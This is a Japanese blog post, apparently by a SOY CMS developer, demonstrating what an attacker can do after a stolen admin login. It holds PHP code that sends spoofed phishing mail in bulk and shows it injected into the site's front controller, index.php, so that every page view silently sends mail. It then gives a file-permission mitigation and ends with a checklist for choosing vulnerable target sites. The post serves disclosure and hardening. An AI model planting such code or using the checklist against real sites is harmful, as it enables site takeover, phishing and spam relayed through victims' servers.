前回までで総当り攻撃でログイン用のアカウントを特定することが出来た。
ログインできる様になったら何をする?
これから記載することは世界中で使われているWから始まるなんちゃらプレスというCMSで起こったことをSOY CMSで再現してみる。
対象サイトにログインできるようになったら何をする?
顧客情報を除いて、顧客のメールアドレスを盗む?
それとも公開しているサイトの改変してみる?
いやいや、もっとすごいことができるでしょ。
不正にログインできたら、管理者に内緒で実行できるコードを仕込むでしょ!
というわけで自身のパソコンで、下記のようなコードを作成してみる。
今回ログインできたサイトのURLがhttp://example.comだとして、送信元を[email protected]にしてメールを送信することを主軸に
<?php //企業内にいそうな人のメールアドレスをひたすら羅列 $mails = ( "[email protected]", "[email protected]", "[email protected]", {以下省略} ); $body = "このメールアドレスにある罠に引っかかったら社内ネットワークに侵入しちゃうよ"; foreach($mails as $mail) { mail($mail, "ご無沙汰しております", $body, "From: [email protected]"); } ?>
こんな感じのフィッシング詐欺みたいなメールを用意しておく。
ファイル名はfunction.phpにでもしておこうか。
このコードで企業にいるITに疎い管理職や広告代理店なんかにいるスタバで仕事している俺かっこいいみたいなビジネスマンが釣れれば良いな。
それでは、このファイルをCMSに内蔵されているファイルマネージャにでもアップロードしてみるか!
そうすれば、ブラウザのアドレスバーにhttp://example.com/site/files/function.phpを入れて実行すれば、自身の居場所(IPアドレス)を特定されずに迷惑メールを送信することができる!
※メールアドレスは乗っ取ったサイトのものだし、送信元も乗っ取ったサイトのIPアドレスだから都合が良い。
というわけで、ファイルマネージャを開いて、function.phpを配置してみる。
SOY CMSのファイルマネージャではPHPのファイルがアップロード出来なかった。
※WordPressの現在のバージョンは知らないが、一つ前のバージョンではPHPファイルをアップロードすることができる。
→WordPressを定期的にバージョンアップをしているサイトなんて稀なので、世界中で踏み台の候補となるサイトなんてゴマンとある。
ということはSOY CMSは踏み台には使えないのかな?
なんて思ったりするけど、
まだ試していないことがある。
それはフロント(ページ)コントローラの編集だ!
フロント(ページ)コントローラについては下記のページを読んでもらうとして、
情熱大陸放送後のサーバ側の裏話 - SOY CMS開発ブログ
簡単に説明すると、公開側のどのページでも必ず最初に読み込まれるファイルのことで、ファイル名がindex.phpとしてサーバに配置されている。
それではSOY CMSのindex.phpの編集を試してみよう。
フロントコントローラの編集は、
ようこそSOY CMSへの画面からサイト一覧を開き、
サイトにある詳細をクリックし、
サイト詳細のところにあるindex.phpの編集を開く。
編集画面を開くと、
<?php /* @generated by SOY CMS at 2016-06-15 06:19:42*/ define("_SITE_ROOT_",dirname(__FILE__)); define("_SITE_DSN_","mysql:host=localhost;port=3306;dbname=soycms_*****"); define("_SITE_DB_FILE_",_SITE_ROOT_."/.db/mysql.db"); define("_SITE_DB_USER_", "*******"); define("_SITE_DB_PASSWORD_","*******"); define("_CMS_COMMON_DIR_", "/***************************************/common"); include(_CMS_COMMON_DIR_."/site.func.php"); execute_site();
こんな感じのコードがある。
ここに
<?php /* @generated by SOY CMS at 2016-06-15 06:19:42*/ define("_SITE_ROOT_",dirname(__FILE__)); define("_SITE_DSN_","mysql:host=localhost;port=3306;dbname=soycms_*****"); define("_SITE_DB_FILE_",_SITE_ROOT_."/.db/mysql.db"); define("_SITE_DB_USER_", "*******"); define("_SITE_DB_PASSWORD_","*******"); define("_CMS_COMMON_DIR_", "/***************************************/common"); include(_CMS_COMMON_DIR_."/site.func.php"); $body = "このメールアドレスにある罠に引っかかったら社内ネットワークに侵入しちゃうよ"; mail({自分のメールアドレス}, "ご無沙汰しております", $body, "From: [email protected]"); execute_site();
こんな感じのコードを仕込んで、サイトのどのページでも良いので開いた直後に、メールボックスがなんかのメールを受信した。
その内容は、
仕込んだメールが飛んできた。
これの質が悪いのは、勝手にメールが送信されていることに管理者も閲覧者も気が付かないということだ。
とりあえず、これでSOY CMSにログインした後に踏み台攻撃を仕込まれることがわかった。
これは由々しき問題なので、今回の内容を回避する方法を記載しておく。
サイトの公開を開始したら、
サーバの/ルート/サイトID/index.phpのファイルパーミッションから書き込みのチェックを全て外せば良い。
index.phpの編集画面で上記の様にエラー通知が表示されていれば良いです。
※念の為に公開側の表示も確認しておく。
ファイルパーミッションから書き込み権限を外せば、フロントコントローラの再生成を行っても、
Warning: file_put_contents(/*******************/index.php): failed to open stream: Permission denied in /**********************/common/logic/admin/Site/SiteCreateLogic.class.php on line 397 Warning: Cannot modify header information - headers already sent by (output started at /*******************/common/logic/admin/Site/SiteCreateLogic.class.php:397) in /*****************/common/lib/soy2_build.php on line 311
こんな感じのエラーになり、新しいindex.phpで上書きも行えなくなる。
そもそも、管理画面のURLが特定されなければ良いんだけどね。
追記
SOY ShopのテンプレートエディタではPHPが書き放題なので、SOY Shopが入っている場合にアカウントを盗まれたらやばい。
あとはSOY CMSとSOY Shop共にあるPHPモジュールを使えば、今回のことができることは内緒です。
SOY CMS/ShopでPHPモジュールに使用の制限を設けました
追記2
サイトの乗っ取りができるかどうかを攻撃する前に判断する方法として、
・ソースコードを表示して何のCMSを使っているか?
・CMSを特定したら、ログインフォームが最新になっていないか?
※古いバージョンのままの場合は、Webに疎い人だと余裕でわかる。
・お問い合わせフォームがhttpsで表示されていないか?
→これらの条件を満たしたら、攻撃対象にしておく。